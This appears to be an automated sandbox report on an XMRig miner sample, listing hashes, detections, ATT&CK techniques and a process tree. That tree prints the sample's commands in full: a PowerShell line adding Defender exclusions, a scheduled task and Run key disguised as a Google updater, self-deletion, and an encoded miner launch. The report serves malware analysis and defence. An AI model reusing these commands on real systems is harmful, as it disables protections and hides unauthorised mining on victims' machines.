xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

max time kernel
1800s
max time network
1806s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
20/08/2023, 00:18

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General

Target

TTVw7dDmSpz5mwee.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2508 created 1272	2508	TTVw7dDmSpz5mwee.exe	19
PID 2508 created 1272	2508	TTVw7dDmSpz5mwee.exe	19
PID 2508 created 1272	2508	TTVw7dDmSpz5mwee.exe	19
PID 2508 created 1272	2508	TTVw7dDmSpz5mwee.exe	19
PID 2748 created 1272	2748	updater.exe	19
PID 2748 created 1272	2748	updater.exe	19
PID 2748 created 1272	2748	updater.exe	19
PID 2748 created 1272	2748	updater.exe	19
PID 1684 created 1272	1684	conhost.exe	19
PID 2748 created 1272	2748	updater.exe	19

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral5/memory/1216-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-143-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-145-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-147-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-149-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-151-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-153-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-155-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-157-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-164-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-166-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-168-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-170-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-172-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-174-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-176-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-178-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-180-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-182-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-184-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-186-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/1216-188-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
1532	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2748	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
3012	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral5/memory/1216-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-143-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-145-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-147-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-149-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-151-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-153-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-155-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-157-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-164-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-166-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-168-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-170-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-172-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-174-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-176-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-178-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-180-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-182-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-184-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-186-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/1216-188-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2748 set thread context of 1684	2748	updater.exe	55
PID 2748 set thread context of 1216	2748	updater.exe	50

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	TTVw7dDmSpz5mwee.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2900	schtasks.exe
1656	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1528	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0a171b000d3d901	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2508	TTVw7dDmSpz5mwee.exe
2508	TTVw7dDmSpz5mwee.exe
1676	powershell.exe
2508	TTVw7dDmSpz5mwee.exe
2508	TTVw7dDmSpz5mwee.exe
2228	powershell.exe
2508	TTVw7dDmSpz5mwee.exe
2508	TTVw7dDmSpz5mwee.exe
2508	TTVw7dDmSpz5mwee.exe
2508	TTVw7dDmSpz5mwee.exe
2084	powershell.exe
2748	updater.exe
2748	updater.exe
2720	powershell.exe
2748	updater.exe
2748	updater.exe
932	powershell.exe
2748	updater.exe
2748	updater.exe
2748	updater.exe
2748	updater.exe
1684	conhost.exe
1684	conhost.exe
2748	updater.exe
2748	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
468	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeDebugPrivilege	2228	powershell.exe
Token: SeDebugPrivilege	2084	powershell.exe
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeDebugPrivilege	932	powershell.exe
Token: SeDebugPrivilege	2748	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1528	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1528	WMIC.exe
Token: SeSecurityPrivilege	1528	WMIC.exe
Token: SeTakeOwnershipPrivilege	1528	WMIC.exe
Token: SeLoadDriverPrivilege	1528	WMIC.exe
Token: SeSystemtimePrivilege	1528	WMIC.exe
Token: SeBackupPrivilege	1528	WMIC.exe
Token: SeRestorePrivilege	1528	WMIC.exe
Token: SeShutdownPrivilege	1528	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1528	WMIC.exe
Token: SeUndockPrivilege	1528	WMIC.exe
Token: SeManageVolumePrivilege	1528	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1528	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1528	WMIC.exe
Token: SeSecurityPrivilege	1528	WMIC.exe
Token: SeTakeOwnershipPrivilege	1528	WMIC.exe
Token: SeLoadDriverPrivilege	1528	WMIC.exe
Token: SeSystemtimePrivilege	1528	WMIC.exe
Token: SeBackupPrivilege	1528	WMIC.exe
Token: SeRestorePrivilege	1528	WMIC.exe
Token: SeShutdownPrivilege	1528	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1528	WMIC.exe
Token: SeUndockPrivilege	1528	WMIC.exe
Token: SeManageVolumePrivilege	1528	WMIC.exe
Token: SeLockMemoryPrivilege	1216	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2228 wrote to memory of 2900	2228	powershell.exe	34
PID 2228 wrote to memory of 2900	2228	powershell.exe	34
PID 2228 wrote to memory of 2900	2228	powershell.exe	34
PID 1532 wrote to memory of 2936	1532	cmd.exe	36
PID 1532 wrote to memory of 2936	1532	cmd.exe	36
PID 1532 wrote to memory of 2936	1532	cmd.exe	36
PID 2084 wrote to memory of 3008	2084	powershell.exe	40
PID 2084 wrote to memory of 3008	2084	powershell.exe	40
PID 2084 wrote to memory of 3008	2084	powershell.exe	40
PID 3012 wrote to memory of 2748	3012	taskeng.exe	42
PID 3012 wrote to memory of 2748	3012	taskeng.exe	42
PID 3012 wrote to memory of 2748	3012	taskeng.exe	42
PID 932 wrote to memory of 1656	932	powershell.exe	47
PID 932 wrote to memory of 1656	932	powershell.exe	47
PID 932 wrote to memory of 1656	932	powershell.exe	47
PID 2748 wrote to memory of 1684	2748	updater.exe	55
PID 1812 wrote to memory of 1528	1812	cmd.exe	49
PID 1812 wrote to memory of 1528	1812	cmd.exe	49
PID 1812 wrote to memory of 1528	1812	cmd.exe	49
PID 2748 wrote to memory of 1216	2748	updater.exe	50

C:\Users\Admin\AppData\Local\Temp\TTVw7dDmSpz5mwee.exe
"C:\Users\Admin\AppData\Local\Temp\TTVw7dDmSpz5mwee.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2508

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2228
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2900
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\TTVw7dDmSpz5mwee.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2084
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:3008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:932
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1656
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1216
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1812
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1268
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1684

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2936

C:\Windows\system32\taskeng.exe
taskeng.exe {C7C43702-8829-4875-A642-4C9BD1994EC4} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3012
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2748

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c26c18ded78fe42d5ffddc500a523b16

SHA1
e4fc51a978ab038e78f1d6a0ce0788c65e210a18

SHA256
3f5119684b42d6979bb60a768cc05100b636d0d62d01bf4cb6a5c19bcc3f2430

SHA512
621f3c5560b624e0ad4741d324c17110ec7fbfee15bbf2114e06d7f91ae0bad5d0aec356b1745847b60e312c3654fce71d0702d9f4d29583f3f7a0bbf8119b17

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c26c18ded78fe42d5ffddc500a523b16

SHA1
e4fc51a978ab038e78f1d6a0ce0788c65e210a18

SHA256
3f5119684b42d6979bb60a768cc05100b636d0d62d01bf4cb6a5c19bcc3f2430

SHA512
621f3c5560b624e0ad4741d324c17110ec7fbfee15bbf2114e06d7f91ae0bad5d0aec356b1745847b60e312c3654fce71d0702d9f4d29583f3f7a0bbf8119b17

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\D4AAZQTMY8YFSPAN0Q5N.temp

Filesize
7KB

MD5
c26c18ded78fe42d5ffddc500a523b16

SHA1
e4fc51a978ab038e78f1d6a0ce0788c65e210a18

SHA256
3f5119684b42d6979bb60a768cc05100b636d0d62d01bf4cb6a5c19bcc3f2430

SHA512
621f3c5560b624e0ad4741d324c17110ec7fbfee15bbf2114e06d7f91ae0bad5d0aec356b1745847b60e312c3654fce71d0702d9f4d29583f3f7a0bbf8119b17

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/932-111-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/932-106-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/932-110-0x00000000010D0000-0x0000000001150000-memory.dmp

Filesize
512KB

Download
memory/932-109-0x00000000010D0000-0x0000000001150000-memory.dmp

Filesize
512KB

Download
memory/932-108-0x00000000010D0000-0x0000000001150000-memory.dmp

Filesize
512KB

Download
memory/932-107-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/1216-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-149-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-188-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-186-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-184-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-182-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-180-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-178-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-176-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-174-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-172-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-170-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-168-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-166-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-164-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-157-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-155-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-153-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-151-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-147-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-145-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-143-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-141-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-126-0x0000000000C30000-0x0000000000C50000-memory.dmp

Filesize
128KB

Download
memory/1216-127-0x0000000000D20000-0x0000000000D40000-memory.dmp

Filesize
128KB

Download
memory/1216-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1216-122-0x0000000000D20000-0x0000000000D40000-memory.dmp

Filesize
128KB

Download
memory/1216-117-0x0000000000390000-0x00000000003B0000-memory.dmp

Filesize
128KB

Download
memory/1216-121-0x0000000000C30000-0x0000000000C50000-memory.dmp

Filesize
128KB

Download
memory/1676-66-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/1676-61-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/1676-59-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/1676-60-0x0000000001DB0000-0x0000000001DB8000-memory.dmp

Filesize
32KB

Download
memory/1676-63-0x00000000027E0000-0x0000000002860000-memory.dmp

Filesize
512KB

Download
memory/1676-64-0x00000000027E0000-0x0000000002860000-memory.dmp

Filesize
512KB

Download
memory/1676-65-0x00000000027E0000-0x0000000002860000-memory.dmp

Filesize
512KB

Download
